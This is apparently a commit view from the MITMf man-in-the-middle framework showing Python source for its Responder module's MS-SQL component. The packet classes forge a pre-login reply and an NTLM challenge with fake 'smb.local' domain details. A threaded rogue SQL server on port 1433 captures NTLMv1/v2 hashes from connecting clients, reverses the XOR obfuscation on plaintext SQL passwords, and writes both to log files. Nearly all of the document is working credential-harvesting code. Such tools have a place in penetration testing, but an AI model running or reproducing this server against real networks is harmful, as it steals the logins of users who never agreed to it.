All plugins are now modified to support dynamic config file changes

Responder functionality fully restored
This commit is contained in:
byt3bl33d3r 2015-05-05 19:04:01 +02:00
commit 70ec5a2bbc
50 changed files with 2102 additions and 798 deletions

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#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#MS-SQL Pre-login packet class
class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\x25"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\x00"),
("VersionOffset", "\x00\x15"),
("VersionLen", "\x00\x06"),
("TokenType1", "\x01"),
("EncryptionOffset", "\x00\x1b"),
("EncryptionLen", "\x00\x01"),
("TokenType2", "\x02"),
("InstOptOffset", "\x00\x1c"),
("InstOptLen", "\x00\x01"),
("TokenTypeThrdID", "\x03"),
("ThrdIDOffset", "\x00\x1d"),
("ThrdIDLen", "\x00\x00"),
("ThrdIDTerminator", "\xff"),
("VersionStr", "\x09\x00\x0f\xc3"),
("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"),
("InstOptStr", "\x00"),
])
def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
#Version
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
#Encryption
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
#InstOpt
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
#ThrdIDOffset
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
#MS-SQL NTLM Negotiate packet class
class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\xc7"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\xed"),
("SSPIBuffLen", "\xbc\x00"),
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
##First convert to uni
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
##Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
#AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
#AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
#AvPairs 6 len is always 00.

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import struct
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class MSSQLServer():
def start(self, chal):
global Challenge; Challenge = chal
try:
mitmf_logger.debug("[MSSQLServer] online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = True
def server_bind(self):
TCPServer.server_bind(self)
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
if NthashLen == 24:
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NthashLen = struct.unpack('<H',data[30:32])[0]
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()

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